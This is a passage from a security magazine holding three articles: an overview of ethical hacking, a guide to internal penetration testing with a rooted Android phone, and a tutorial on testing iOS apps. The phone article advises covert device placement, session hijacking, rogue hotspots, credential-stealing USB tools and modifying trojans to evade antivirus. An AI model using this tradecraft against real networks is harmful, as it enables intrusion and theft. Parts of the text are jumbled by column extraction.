of the impending evaluation, it becomes possible for the
evaluation to reflect the organization’s actual security
exposure to the outside world.
Once the contractual agreement with ethical hackers is
in place, the testing may start as defined in the agreement.
It’s important to point out that penetration test itself poses
some risks to the client networks and systems, since
criminal hackers might monitor the transmissions of the
ethical hackers and learn the same information about
the client during such test. In such case, if the ethical
hackers identify weakness in the client’s security, the
criminal hackers could potentially attempt to exploit
such vulnerabilities, and as such; implementing the best
approach to avoid such dilemma is very important. One
of these approaches is for ethical hackers to maintain
several addresses around the Internet from which the
transmission will emanate and to switch origin addresses
http://pentestmag.com

often. A complete log of the test performed by the ethical
hackers is always a good idea to be maintained for the
final report, and also to identify any unusual event that
might happen during the test. In many cases, additional
intrusion monitoring software can be deployed at the
target to ensure that all the testes are coming from the
ethical hacker’s machines.
The line between criminal hacking and computer virus
writing is becoming increasingly blurred, and as such;
many clients request from ethical hackers to perform
testing to determine the client’s vulnerabilities to web-
based virus and email. However, it is far better for the
client to deploy strong antivirus software, to keep it up
to date, and implement a clear and simple policy within
an organization to report any incidents.
There are several kinds of testing that can be done
during the penetration test, and any combination of the
following may be called for:
• Remote network – This test simulate the intruder
launching an attack across the Internet. The •
primary defences that must be defeated are filtering
routers, firewalls, and web servers.
• Remote dial-up network – This test simulates the
intruder launching an attack against the client’s
modem pools. The primary defences that must be •
defeated are the user authentication schemes.
• Local network – This test simulates authorized
person has a legal connection to the organization’s
network. The primary defences that must be •
defeated are internal web servers, Intranet firewalls,
server security measures and e-mail systems.
• Stolen laptop computer – This test makes use of
the laptop computer of a key employee within the
organization. The test will
examine the computer for
passwords stored in dial-up
software corporate information
assets, and personal
information.
• Social engineering – This
test will evaluate the target
organization’s staff as
to whether it would leak
information to someone. In
such test, the ethical hacker
will be calling the organization’s
computer help line and asking
for the external telephone
numbers of the modem pool.
Defending against such attack
is hard, because people and
personalities are involved. Figure 1. Different point of attacks that expose security vulnerabilities
THE BEST OF 01/2012
PENTEST EXTRA
• Physical entry – This test examine the physical
penetration of the organization’s building. Security
guards or police could become involved if the
ethical hackers fail to avoid detection.
Penetration test usually have strategies, and such
strategy include the following:
• Target testing – Such test is performed by the
penetration testing team (Ethical hackers) in
coordination with the organization’s IT team. It
is sometimes referred to as a light-turned-on
approach since everyone can see the test being
carried out.
• External testing – This type of pen test targets
a company’s external visible servers or devices
including web servers, firewalls, domain name
servers (DNS), or email servers. The objective of
such test is to find out if outside attackers can get
in, and how far they can get in and gain access.
Internal testing – this test mimics an inside attack
behind the firewall by an authorized user with
standard access privileges. Such test is useful
for estimating how much damage a disgruntled
employee could cause.
Blind testing – Such test simulates the procedures
and actions of a real attacker by severely limiting
the information given to the person or team that’s
performing the test beforehand.
Double blind testing – Such test is conducted while
one to two people within the organization might be
aware of the test. The test can be useful for testing
an organization’s security monitoring and incident
identification as well as its response procedures.
Page 84 http://pentestmag.com
The Final Penetration Report
The final report represents a collection of all of the ethical
hacker’s discoveries as the result of the penetration test
evaluation. Vulnerabilities found during such test are
explained, and the steps to avoid such vulnerabilities
were specified through specific procedures to close
any security gaps discovered during such process. The
report also offers advices on how to raise awareness,
and advice on how to close the vulnerabilities and
keep them closed. The report is considered to be a
very sensitive issue since such vulnerabilities found
and stated in such report if it fell into the wrong hands
might be used against the company’s vulnerabilities to
gain access to sensitive information within the company
networks.
The ethical hackers would have an ongoing
responsibility to ensure the safety of any information
they retain, and as such; in most cases all information
related to the work is destroyed at the end of the
contract.
Conclusion
The idea of testing the security of a system by trying
to break into it is not a new idea such test were done
a d v e r t
long time ago by many automobile companies during
the crash-testing cars to identify the weakest points of
their products. From a practical standpoint the security
problem will remain as long as manufacturers remain
committed to current system architectures without
a firm requirement for security. It is imperative for
organization to execute regular auditing, implementing
vigilant intrusion detection and inherent a good system
administration practices, and computer security
awareness that can guarantee business continuity and
success. A single failure in any of these areas could
very well expose an organization to cyber-vandalism,
and loss of revenue and client’s information. While
ethical hackers can help clients better understand their
security needs, it is up to the clients to keep their guards
in place.
BRYAN SOLIMAN
Bryan Soliman is a Senior Solution Designer currently working
with Ontario Provincial Government. He has over twenty
years of Information Technology experience with Bachelor
degree in Engineering, Bachelor degree in Computer Science,
and Master degree in Computer Science.
i s e m e n t
 PENTEST EXTRA

Is That A Phone In
Your Pocket
Or Are You Scanning My Network?

When most people think of penetration testing, they think of a

simulated external attack where the tester tries to break into a
network from a remotely. Companies focus most of the security
spending and policies on keeping hackers from the outside in,
from firewalls and other security hardening appliances, software
and tools.

H
owever, given the proliferation of mobile devices
in the workplace and use of Wi-Fi networks
inside of an office, attacking from inside the
network provides unique opportunities. Smartphones
have become much more powerful over the past few
years, with powerful processors and a plethora of
hardware at your fingertips. Combine this power into a
compact unit with the right apps you can scan a network
from the inside in seconds along with several other new
types of attacks and information gathering.
Mobile devices have accelerated productivity as they
move to replace many of the other devices we used
to carry in a small package. Most phones have Wi-
Fi capability, cameras, mass storage capability and a
persistent internet connection via 3G and 4G and allow
a wide number of applications and if rooted provide
many of the same tools as a computer, but with more
hardware and network capabilities. These conveniences
also carry over to make them an very powerful tool to
use in penetration tests, more powerful I would argue
than a laptop, as a mobile device can be easily hidden
on your person, or inside of an office building.
Most organizations spend a great deal of money and
time focusing on protecting their networks form outside
threats, making sure the hackers outside cannot get in.
However, security inside the network is generally lacking,
both physical security and network security. Security is
generally more relaxed inside an office because of the Figure 1. Ordinary cell phone can be a powerful tool

THE BEST OF 01/2012 Page 86 http://pentestmag.com

simple need to get work done. Attacking a network from tablet is quite kludgy and you would be better served
within has actually become easier over the last few years. using a netbook. For this article I will stick with Android
As there are an increasing number and variety of devices specific tools that take advantage of the portability and
inside an office than there were even just a few years ago hardware available to smartphones.
when you dealt primarily with stationary desktop systems In some of the examples I outline hiding a phone in an
hard wired via ethernet in secured offices. office building, which runs the risk of the device being found
Today most offices utilize Wi-Fi, with a many different and tracked back to me if the device has an active SIM
types of devices in use from laptops, tablet computers, card. To mitigate this risk an attacker would use a phone
mobile phones, flash drives and portable media they purchased used, or that was stolen with the SIM card
players. Not only are there devices that are owned by removed and will rely on Wi-Fi to connect to the device
the company, but also people’s personal devices they remotely from outside. T-Mobile sells pre-paid smartphone
bring in from home. Attacking from inside is a target rich plans with data connectivity now, however they still require
environment with a multitude of attack vectors. Given a credit card to get. A criminal could use a stolen credit
the increasing number of devices that are brought in card and identity to get a phone with a working SIM that
and being used, internal policies regarding the use of is untraceable, but for the purposes of our test we will be
these devices is generally lax, not enforced or simply sticking with primarily Wi-Fi based connections.
non-existent. Employees are generally also not trained
on security issues around mobile devices, which is USB Hacks
something you can take advantage of in your tests. The first set of tools I will install on the device are not
mobile apps at all. Android devices easily double as a flash
Getting Inside drive, which provides a great attack vector to leverage
Attacking inside of a network poses the unique many USB based tools to infect a network and steal data
challenge of getting inside or at least close to your from behind the firewall. Even today, USB flash drives are
target, however there are a number of ways to do this a great way to deliver a malicious payload, particularly
using a bit of social engineering. A few ways to get inside
of a corporate building are via job interviews, business
meetings, or posing as a delivery driver, maintenance
worker, cleaner or solicitor, or get an insider to help you
(even if they are not aware they are helping you).
Many companies also host events, particularly tech
companies, where they allow their space to be used for
developer meet-ups, or presentations so watch for this
opportunity as well. You may not even need to get inside
the building, but can work outside of it in the parking lot,
an office next door, the employee cafeteria or other
areas that are not secured. Monitor the company’s
website and check for jobs posted, used online services
such as LinkedIn to search for positions as well as
track current employees of the target company for
opportunities that may present themselves.

The Phone Setup

As my weapon of choice I use an Android phone,
a rooted Samsung Galaxy S to be specific. I highly
recommend rooting the phone and installing a ROM such
as Cyanogen, for this article I am using Cyanogen 7.
Many of the apps I will mention here require a rooted
device and require root privileges. I have seen some apps
that are available for rooted iOS devices, however there
are many more robust solutions available for Android.
You can install most Linux distros on an Android
phone including Backtrack 5 using Gitbrew. However
using a Linux distro on an Android phone, even on a Figure 2. Network Discovery

THE BEST OF 01/2012 Page 87 http://pentestmag.com


in highly secure environments. The International Space
Station was even hit by a virus that was transmitted via
flash drive, flash drives are also the primary suspect in
the delivery of Stuxnet and the recent keylogger malware
discovered on military systems controlling drones.
With a mobile device you also have a great excuse
to plug the device into a computer My phone battery
is about to die, can I plug my USB charger into your
computer for a bit?
There are a number of USB tools available that will
allow you to pull data, a few easy tools include USB
Hacksaw and USB Switchblade both of which are
multipurpose utilities which will pull data from the target
device and open backdoors into the system. The primary
purpose of the tools are to silently recover information
from Windows systems, such as password hashes, LSA
secrets, IP information, as well as browser history, and
auto-fill information as well as create a backdoor to the
target system for later access. The data can be quickly
loaded to the phone as the tools only need a few seconds
to pull sensitive information from a given device.
Another useful tool is USBDumper which can be loaded
onto a target computer and will silently copy the contents
of any removable media device connected to the computer
and can be modified to upload this data to a remote
location. This tool can be handy if you see and gain access
to a shared system that might be used for presentations in
a conference room, this is usually the case at colleges and
universities and some businesses as well.
Figure 3. Looking for potential targets
THE BEST OF 01/2012 Page 88
PENTEST EXTRA
There are many other great tools available that
can be loaded from a USB device, or you can easily
create your own. A lot of the USB based trojans in
the wild have been flagged by anti-virus companies
as malicious, however if you get the source code and
modify it you can easily create executables with unique
signatures that will not be detected. If you plan on
hijacking a host computer and transmit data to outside
the network, make sure you use an SSL connection,
this will help evade firewalls as well as hide what data is
being transmitted outside the network.
When conducting a penetration test you usually do
not need to actually transmit data, simply writing a
simple script that is executed that sends the IP address,
name of the person logged into the computer and
unique device IDs is enough to indicate the system and
potentially the network could have been compromised.
How far you actually go to show the network was
infiltrated is between you and the client, just be aware
that some of the USB based tools mentioned above can
cause harm to the system and data as well as other
devices on the network.
Network & Vulnerability Scanners
The first mobile application you need is for network
mapping, there are quite a few available in the Android
Marketplace. Network Discovery, is a great one that is
free and does not require your device to be rooted. The
user interface is really well designed and provides you
http://pentestmag.com
with a clear view of the network and devices at a glance,
not easy to do with the limited screen real-estate on a
mobile device. The application identifies the OS and
manufacturer of the device as well as identifies the type
of device. The Network Discovery app works well when
connected to a Wi-Fi network that you know is open
or have the password to access and provides great
visibility of the target network.
Mapping a network is one thing, but being able to scan
for open Wi-Fi, scan device ports, find vulnerabilities
and other acts take a lot more time and usually a lot
more tools. Thankfully an Israeli security firm called
Zimperium has made this easier for you, with their
Android Network Toolkit named Anti.
Anti provides automated tools to carry out penetration
testing tasks on insecure wireless networks. Once
activate the app will run scans to find open networks,
locate devices on the network and determine
vulnerabilities on the devices. Once vulnerabilities are
discovered the app can run exploits from Metasploit and
ExploitDB to gain access at which stage you can then
trigger various actions remotely from your phone from
taking a screen shot to ejecting the disc drive to prove
you have control of the target machine.
Figure 4. Before spoo�ng
THE BEST OF 01/2012 Page 89
The first version of the application only had a few
exploits, however the developer provided me with an
early version of the 2.1 release which has a larger
library of potential exploits. In addition the suite provides
additional tools including a brute force password
cracking tool along with different types of dictionaries to
load for the attack.
The Cracker feature runs well and hits all open ports it
finds on devices within the network. This can take some
time depending on the number of ports and the type
dictionary used in the attack. I was able to locate several
vulnerabilities on a test network, mostly Windows file
shares and a router that still had the manufacturer’s
default password settings.
The in-app Wi-Fi monitor feature provides a listing of
all Wi-Fi networks, their signal strengths and whether or
not they are open via an easy to read icon, along with the
device’s MAC address. The network scanning is quite
fast and I was able to map a decent sized network in
about 30 seconds. When you run the scan it then asks
you if you want to initiate an intrusive scan which gathers
more information regarding potential vulnerabilities.
Some of the features I was not able to test such as
Foreign Targets where you can run scans on domains
Figure 5. Spoof running
http://pentestmag.com

and IPs outside the network, even use Anti’ whenever I
tried this the app would crash, guess due to the version I
have being beta. Other useful features include an HTTP
Server you can run and the ability to run initiate attacks
from Zimperium’s cloud utilities to run penetration tests
from outside of the network.
Anti is a great tool that makes mobile penetration testing
as easy as one click, allowing you to run quick tests for
unsecured Wi-Fi networks and gather information in an
automated fashion. The fact you can initiate a scan and
put the phone in your pocket makes it a powerful tool.
Session Hi-Jacking & ARP Spoofing
Many may be familiar with FireSheep, the Firefox
browser plug-in that allowed you to easily sniff out and
hijack Facebook, Twitter and other sessions. Well there
is also an app for that, it is called DroidSheep and it
work similarly. The application requires a rooted Android
phone. Once you run the application you can run the
app in a few different modes, when it is connected to
an open network it uses ARP spoofing to hijack the
sessions. A word of warning, on some networks it
can slow a network and be detected, this occurred a
few times on my test network. You can disable ARP-
Figure 6. Con�guring Wi-Fi hotspot
THE BEST OF 01/2012
PENTEST EXTRA
Spoofing, which will make it undetectable, however
is not as efficient and will not pick anything up on an
encrypted network.
The application provides a Generic mode that will
display all possible account sessions, not just from known
sites like Twitter and Facebook. During my test I was able
to pick up sessions from Wordpress, Facebook, Twitter
and Trimet.org (Portland’s public transporation portal).
Another application that provides a more invasive
approach is Network Spoofer which allows you to user
ARP Spoofing to actually alter the web traffic being
sent to a network or specific machine. The application
requires a pretty large download at around 600MB
which is actually a Debian image that includes Squid
proxy to modify the data and some other tools to modify
images and other tasks. The application allows you to
redirect web traffic to a specific site, flip images, alter
queries and other harmless attacks allowing you to
show the client the network was compromised.
The application works well on an open network,
however on a WPA/WPA2 network it simply cripples or
slows the network. Hardware is also an issue, although
the application works with most phones, some device
are incompatible, I tested it on a Nexus One and a
Galaxy S and both worked.
Wi-Fi Sniffing
Network Spoofer also allows you redirect all network
traffic directly to the phone. The packet data can then be
logged by packet sniffer application such as Shark for
root which is one of the better apps I found for this task.
The issue with using ARP Spoofing for this however is
that it can slow or cripple the network.
A better route for packet sniffing is to create a Wi-
Fi hotspot on the device itself. A great thing about a
rooted Android phone is the ability for it to be an ad-
hoc Wi-Fi hot spot. By creating an open Wi-Fi hot spot
on the device that has a similar name to an existing
on in the office, or one that simply one that looks like
a guest account (Acme-Guest) allows you a great way
to intercept a great deal of traffic from users duped into
connecting to it. There are a number of packet sniffing
apps available for Android, the best I have found is
Shark for root, which logs the pcap file to the SD card of
your device. There is also a Shark Reader application
that allows you to read the pcap files, however you will
probably want to copy the files over to your laptop via
FTP etc and view them in Wireshark.
The one thing I hate about Shark for root is that as
it is a free app ads appear at the top, this can actually
mess with capture. The fact you have ads running in
a security app is wrong for many reasons, I wish they
would offer a paid for version of the app without ads.
Page 90 http://pentestmag.com

Figure 7. Smartphones are more powerful than computers
Remote Access
Smartphones are not only good for running apps, but
also have a lot of other great hardware in one package
that makes them great for use in spying from the inside.
If you are able to sneak a phone into an office building
and plug it in to a wall socket you will have have eyes
and ears in the building as well as provide yourself with
more time to run tests from the outside. Plants make a
great hiding place, as they are usually against a wall
near power outlets. Common areas such as break
rooms are also a good place as you can leave them in
plain sight, most will assume it is a co-workers phone
left to charge.
Most smartphones today have at least one camera,
which can be accessed remotely, many of these tools
also come with motion detection. Some apps can also
call out to another number when motion is detected
allowing you to listen in on any conversations that may
be occurring near the phone.
A free tool that makes remote access easy is Remote
Web Desktop a free app available in the Android
Marketplace which provides access to all the hardware
on the device including the camera, as well as the ability
to launch apps remotely from a web browser on your
laptop. You can connect directly through Wi-Fi, or if you
are using the 3G connection you can use their bridging
service to access the device.
Remote Web Desktop also provides access to all the
apps on the phone, as well as an FTP server to easily
transfer log files and reports from the device. Another
helpful utility that Remote Web Desktop provides is the
ability to bridge the connection. If for example you are
using the 3G connection vs Wi-Fi they provide a service
that allows you to easily connect to the device remotely,
however keep in mind that this approach could leave a
trace of your activities. This approach also provides you
with access to the device if you are using the device
as a Wi-Fi hotspot, as you cannot run connect to the
device via Wi-Fi as well as run it as a hot spot.
THE BEST OF 01/2012 Page 91
Remote Shell & Scripting
There are a number of terminal emulators available
for Android including one that comes with Cyanogen,
however I would also recommend installing ConnectBot
as it allows for multiple sessions and secure tunnels.
I also installed Scripting Layer for Android (SL4A) to
allow me to run scripts from the device as needed. Once
these apps are loaded it makes it easier to remotely
deploy and execute scripts to the device. I installed the
Python interpreter on my device to run various scripts
to automate capturing photos and wiping apps from
the device if it becomes compromised. If you prefer
to write your own native Android apps more power
to you, but I found it a lot easier to have a scripting
environment available to me on the device for on-the-fly
app development.
One great feature of SL4A is the ability to write a
script remotely and then execute it on the phone. SL4A
provides server support and you can then execute
commands from your laptop to the phone, you have
access to pretty much the entire Android SDK using this
method all at your disposal without the need to compile
and deploy anything. You need to install the SL4A
engine and the scripting language you wish to use, I
use Python, but other languages are available including
Ruby, Perl, JavaScript, Lua and BeanShell. For more
information on setup and configuration of SL4A visit the
project homepage.
As you can see a smartphone can be a very powerful
tool in your penetration test arsenal, in some ways much
more powerful than a laptop. The sophistication of many
applications available for Android, particularly on rooted
devices provide an increasing number of weapons for
penetration testers and hackers alike. Using these tools
to test your network, as well as being aware of what
tools malicious users may be using to find a weakness
will help you better secure your environment. Many
of these applications provide rich user interfaces and
reports that will also help you visually show your clients
and employees the risks that mobile devices can pose
in their organization if policies and procedures are not
followed.
KEN WESTIN
Ken Westin is the Founder and CEO of ActiveTrak Inc, the
innovator of the popular GadgetTrak© cross-platform mobile
security and data protection software. He is regularly reached
out to by the press as a subject matter expert regarding
mobile security and data privacy,speaks at conferences
and provides training to law enforcement regarding new
technologies. His endpoint security research and tools are
included in the Certi�ed Ethical Hacker training materials and
other publications.
http://pentestmag.com
 PENTEST EXTRA

Penetration Testing
for iPhone and iPad Applications

Mobile application penetration testing is an up and coming

security testing need that has recently obtained more attention,
with the introduction of the Android, iPhone, and iPad platforms
among others.

T
he mobile application market is expected to
reach a size of $9 billion by the end of 2011
(http://www.mgovworld.org/topstory/mobile-ap
plications-market-to-reach-9-billion-by-2011) with the
growing consumer demand for smartphone applications,
including banking and trading. A plethora of companies
are rushing to capture a piece of the pie by developing
new applications, or porting old applications to work
with the smartphones. These applications often deal
with personally identifiable information (PII), credit card
and other sensitive data.
This article focuses specifically on helping security
professionals understand the nuances of penetration
testing iPhone/iPad applications. It attempts to cover
the key steps the reader would need to understand
such as setting up the test environment, installing the
simulator, configuring the proxy tool and decompiling

Figure 1. iPhone SDK Installer Figure 2. Location of all the iPhone tools installed with the SDK

THE BEST OF 01/2012 Page 92 http://pentestmag.com

Figure 3. iPhone Simulator Figure 5. Displays location of a sample iPhone application

applications etc. To be clear this article does not Pre-requisites

attempt to discuss the security framework of the iPhone
itself, identify flaws in the IOS, or try to cover the entire
application penetration testing methodology.
Setting up the Test Environment
There are several ways to test mobile applications e.g.:
• Using a regular web application penetration testing
chain (browser, proxy).
• Using WinWAP with a proxy (http://www.winwap.com/
desktop_applications/winwap_for_windows).
• Using a phone simulator with a proxy (http://
speckyboy.com/2010/04/12/mobile-web-and-app-
development-testing-and-emulation-tools/).
• Using a phone to test and proxy outgoing phone
data to a PC.
• Mac Book running Snow Leopard 10.6.2 OS or
above.
• Apple IOS 4.0.1 (for testing iPhone applications)
and IOS 3.2 (for testing iPad applications).
• Charles Proxy.
• SQLite Manager.
Installing the IOS SDK
The iPhone/iPad simulator is not available for
download, as an independent application. In order
to use the simulator, you need to install the complete
IOS Software Development Kit (SDK). The simulator

In this article we will focus on using a phone

simulator with a proxy as it is the easiest and
cheapest option out there for testing iPhone
applications. For some platforms, this can be difficult
but for iPhone/iPad applications, use of a simulator is
easy and effective.

Figure 6. Dragging the foobar application to Simulator Bundler

Figure 4. iPad simulator creates foobar (iPhone simulator) application

THE BEST OF 01/2012 Page 93 http://pentestmag.com

 PENTEST EXTRA
Using the Simulators
After successfully installing the SDK, the simulator can
be launched from this location /Developer/Platforms/
iPhoneSimulator.platform/Developer/Applications.
To access the iPad simulator select it under the
Hardware > Device option as displayed below.

Getting the Binaries to Run on the Simulator

When developers successfully build the application
using Xcode, it launches the application with
the correct simulator for testing. However, apple
has not provided a straightforward technique for
Figure 7. Setting to intercept all HTTP(s) requests from all Mac packaging and transferring these binaries to the
applications testers. I recommend using the following hack (http://
comes packaged with the SDK installer. However, www.tuaw.com/2009/07/03/developer-to-developer-
only registered apple developers could download the simulator-application-sharing-for-iphone/) to get the
SDK (http://developer.apple.com/programs/register/). binaries from development to the test environment.
Download IOS 4.0.1 for testing iPhone applications
(http://developer.apple.com/iphone/index.action) Steps for the Developers:
and IOS 3.2 for iPad application. IOS 3.2 is the only
SDK that allows development and testing of the iPad • Launch the application project in Xcode and select
applications. The apple developer center does not allow Build > Go. This will compile the source code and
downloading archived versions of the IOS. I had some create the binaries that could then be redistributed
difficulty getting access to the IOS 3.2 installer. The if the build was successful.
SDK includes XCODE IDE, iPhone simulator (4.0.1), • Binaries created using the above step will be available
iPad simulator (3.2) and other tools for development at /Users/<username>/Library/Application Support/
and testing. iPhone Simulator/<IOS version e.g. 3.2 (iPad) or 4.0.1
(iPhone)>/Applications/<folder with unique application
Steps to install the SDK id>.
• Copy this folder and provide it to the testers for
• After downloading the 2.3 GB IOS installer, find testing.
where the .dmg file is downloaded. It is normally
located on the Desktop or under the User > Steps for the Testers
Downloads folder.
• Double click this file to open the disk image. • Set up the test environment to match development
• Double click the installer and follow on screen environment using the correct Mac OS X and IOS
instructions. It requires up to 6.53 GB of free space versions.
on the machine. • Copy the binaries provided by the developers to the
• After successful installation a new Developer folder same location mentioned above.
will be placed on the top level of your hard drive. All • The newly copied application will now be available
the tools for iPhone development and testing are for testing when the simulator is launched.
located under this directory.
Alternatively, you could
use the Simlaunch (http://
github.com/landonf/simlaunch/)
application. It automates the
steps mentioned above and
Figure 8. Shows the execution of the script makes transferring of the
binaries easier and less error
prone. It basically builds custom
executables to automatically
launch an embedded iPhone/
Figure 9. TrustStore.sqlite3 database opened using SQLite Manager application iPad Simulator application

THE BEST OF 01/2012 Page 94 http://pentestmag.com

Figure 10. Obtaining SHA1 hash of the Charles certi�cate
using the correct SDK using Spotlight. Simlaunch works
for both iPhone and iPad simulators.
Steps
• Install the Simulator Launcher application.
• Drag the application binary onto the Simulator
Builder icon.
• This will create a new Mac OS X application that
bundles and launches the simulator application.
• The Figure 6 shows that the foobar application
was dropped on the simulator bundler icon which
created the highlighted oobar (iPhone Simulator)
application. Double clicking this application
launches it in the iPhone simulator as shown in the
Figure 6.
Setting up a Proxy tool
There are several proxy tools available (http://
research.corsaire.com/tools/) for the Mac OS X. The
Figure 11. Command to decompile the application using the otool
THE BEST OF 01/2012
Figure 12. Output of the decompiled application using otool
most common choices are WebScarab, Paros, Burp
and Charles. I prefer Charles proxy for two main
reasons. First, it provides an option to intercept data
from every application running on Mac OS X without
requiring manually changing of the proxy settings for
each and every application. You just need enable Proxy
> Mac OS X Proxy option as displayed in the Figure 7.
This will intercept all the HTTP(s) requests from the
Safari browser, Simulators etc.
The second big advantage is that it is easy to setup (http://
www.charlesproxy.com/documentation/faqs/#qa_177) and
works seamlessly with the iPhone/iPad simulators if the
application performs server certificate validation checks.
It provides a shell script (http://www.charlesproxy.com/
assets/install-charles-ca-cert-for-iphone-simulator.zip) that
could be executed to bypass this check. The script backs
up the TrustStore.sqlite3 database and installs Charle’s
SSL certificate in the keychain for your iPhone/iPad
simulator as displayed in the Figure 8.
Page 95 http://pentestmag.com

Figure 13. Output of the decompiled application using class-
dump-x
This could also be achieved manually without the
need of a script (http://stackoverflow.com/questions/
347690/iphone-truststore-ca-certificates). If you open
the TrustStore.sqlite3 database using the SQLite
Manager (discussed later in the article) you will see
that it stores a SHA1 hash of server certificate in the
tsettings table as Figure 9.
The location of trusted certificates for iPhone
simulator is: /Users/<User Profile>/Library/Application
Support/iPhone Simulator/4.0.1/Library/Keychains.
The location of trusted certificates for the iPad
simulator is: /Users/<User Profile>/Library/Application
Support/iPhone Simulator/3.2/Library/Keychains.
You can manually edit the tsettings table to replace
the SHA1 hash with Charle’s hash. To find the hash
for Charles proxy’s certificate, install the certificate for
it on the Mac using either Safari or Firefox. Open the
certificate and you will find the hash value as displayed
Figure 14. The �gure shows successful build with four issues
identi�ed by the analyzer
THE BEST OF 01/2012
PENTEST EXTRA
in the figure below which could be pasted into the table
as shown Figure 10.
Decompiling the iPhone/iPad Applications
There are several benefits of decompiling the
application when performing penetration testing. It
helps you perform more thorough security assessment
by reviewing the code. You can also run Static Source
code analyzer mentioned later, on the decompiled code
to identify issues such as buffer overflows etc.
Applications for the iPhone/iPad are written using
objective-C, which are fairly easy and straightforward
to decompile. You can obtain the application binaries
by downloading them from the Appstore and then
transferring them to your Mac books using iTunes.
There are two tools available for performing the de-
compilation. One option is to use the otool that comes
with the Xcode. Command:
otool -toV „/Users/consultant/Library/Application Support/
iPhone Simulator/4.0.1/Applications/744F3613-A728-4BD7-
A490-A95A6E6029F7/HelloWorld.app/HelloWorld” >> Helloworld.dump
Alternatively, you could use the Class-dump-x (http://
iphone.freecoder.org/classdump_en.html) tool. This
tool provides easily readable information on class
declarations and structs. Command:
>consultants-macbook-pro-17:Applications consultant$ cd
/Applications
>consultants-macbook-pro-17:Applications consultant$ bash
>bash-3.2$ ./class-dump-x „/Users/consultant/Library/
Application Support/iPhone Simulator/4.0.1/Applications/
744F3613-A728-4BD7-A490-A95A6E6029F7/HelloWorld.app” >>
Helloworld.classdump
Static Source Code analysis
Static code analysis (http://developer.apple.com/mac/
library/featuredarticles/StaticAnalysis/index.html) is the
technique for analyzing code without actually executing
it first. In most cases analysis is performed on the
source code or the object code. The technique of
examining the application during runtime is known as
dynamic analysis (mentioned later). As we already
know by now it is really easy to decompile an iPhone/
iPad application. Attackers thus, have the source code
and can use these tools to find flaws in the applications
and we should be doing the same during the testing.
Static Analysis for the applications could be performed
using either Flawfinder (http://dwheeler.com/flawfinder/)
or Clang (http://clang-analyzer.llvm.org/). Flawfinder is
only useful if the application uses native C libraries such
as strcpy instead of Cocoa objects such as nsstring. If
Page 96 http://pentestmag.com
 ��������
������������������������������������������
����� ������ ���������� ���������� ���� �����
������ ���� ����� �������� ����� ����
�������������� ��������������� ����� ��������
���������������������������������������������
���� ���������� ���� ���� ����� �������� �����
������������������������������������
Figure 15. Displays results from the analyzer

the application does not use such libraries, then Clang �������������������������
should be used. Static Analysis technique could be ��������������������
leveraged to uncover issues such as memory leaks,
uninitialized variables, dead code, type mismatch, buffer
overflows etc. This could be done using Xcode if source
code of the application is available. The static analyzer
travels down each possible code path, identifying logical
��������
errors such as memory leaks. This could be performed � �������������������������������
using the Build > Build Analyze menu option as shown �
����������������������������������
in the Figure 14 and Figure 15. �
��������������������
Dynamic Analysis
��
���������������������
�����������������
��

Dynamic Analysis refers to the technique of assessing

applications during the execution. There are several
��

tools that are provided by Apple for this purpose. The

����������
���

two main tools that we will be discussing in this article

�

are Instruments and Shark. You can find detailed �����������������������

description of these and other tools here (http://
�����������������������
developer.apple.com/iphone/library/documentation/
Performance/Conceptual/PerformanceOverview/
PerformanceTools/PerformanceTools.html). �������������������������
��������������������������
Instruments
The Instruments tool was introduced in Mac OS X ������������������������
v10.5. It provides a set of powerful tools to assess
the runtime behavior of the application. This tool
could be compared with the several sysinternal (http://
technet.microsoft.com/en-us/sysinternals/default.aspx)
tools used for thick client testing on the windows platform
such as diskmon, procmon, netmon etc. It could be

������������������������������������������
Figure 16. Shows use of different instruments �����������������

THE BEST OF 01/2012 97


Figure 17. The below �gure displays Instruments in action
recording �le activity data
launched from /Developer/Applications/Instruments. Once
launched, select the Blank template under the iPhone
simulator section. Select the instruments you want to
use from the library. To inject this tool into a process
select Choose Target > Attach to Process > iPhone
Simulator (<pid>). Click record and start using the
application in the simulator to generate the activity data.
Following is a brief explanation of how to use it:
• File Activity: Records file open, close and stat
operations. This is similar to diskmon that we
use in windows for thick client testing. It lets you
identify the files generated and processed by the
application. It is a great tool to identify files that may
Figure 18. Using Shark for Dynamic Analysis
THE BEST OF 01/2012
PENTEST EXTRA
Figure 19. The cached keystrokes in dynamic-text.dat �le
be cached, or hidden files used by the application
to store data on the client side.
• Memory leaks: Helps identify memory leaks.
• Process: Similar to Process monitor used on
windows for thick client testing. It shows real time
process threat activity.
• Network Monitoring: Records network activity such
as netmon.
Shark
Shark is mainly used for performance gathering. But, in
addition to this it could also be used to analyze assembly
level operations. For e.g. it could do the following:
• Statistical sampling of your application over a
period of time
• System-level tracing
• Malloc tracing
• Static analysis
• L2 Cache profiling
• Java code analysis
It is shipped with every version of Mac OS X 10.3 or
newer. It comes as part of the Xcode Tools. It could be
Figure 20. Automatic screenshots and its location
Page 98 http://pentestmag.com

Figure 21. Location of the PasteBoard
launched from /Developer/Applications/Performance Tools/
Shark.After launching it select what you want Shark to
trace (for e.g. Static Analysis in the example below),
specify the Process and select iPhone simulator as
shown in the Figure 18.
Data Protection
Data protection is the most important category
when testing mobile applications as they are more
susceptible to loss and theft compared to computers.
In addition to this, cached data may get copied to the
machines that are used for syncing and could be stolen
from there. IPhone is known to be notorious (http://
www.telegraph.co.uk/technology/apple/7880155/How-
your-Apple-iPhone-spies-on-you.html) for caching
sensitive information such as keystrokes, snapshots
etc. Moreover, the application itself may be storing
sensitive information in form of temporary files, .plist
files, or in the client side SQLite database etc. During
the testing we should identify these risks and provide
recommendations to mitigate them.
Keyboard Cache
All the keystrokes (http://www.security-faqs.com/did-
you-know-that-the-iphone-retains-cached-keyboard-
data-for-up-to-12-months.html) entered on iPhone
could potentially get cached (http://stackoverflow.com/
questions/1955010/iphone-keyboard-security) here
Figure 22. Cached PDF �le with Account Number information
THE BEST OF 01/2012
Figure 23. Account number found in the SQLite database
~/Library/Application Support/iPhone Simulator/4.0.1/
Library/Keyboard/dynamic-text.dat for auto correction
unless appropriate measures are taken. This issue
is similar to AUTOCOMPLETE for the web browsers. If
AUTOCOMPLETE is not set to off for the UITextField and is not
set to secure then the text entered in these fields will get
cached. However, iPhone do not store password fields
at any time.
Snapshots
Every time user taps the Home button, window of the
open application shrinks and disappears. In order to
create this shrinking effect, iPhone takes an automatic
screenshot (http://www.wired.com/gadgetlab/2008/09/
hacker-says-sec/; http://www.iphonefootprint.com/2008/
09/iphones-privacy-flaw-it-takes-automatic-screenshots-
of-all-your-latest-actions/). Screenshots are stored in
the snapshots directory of the application. For e.g.
the sample Helloworld application stores them here
~/Library/Application Support/iPhone Simulator/4.0.1/
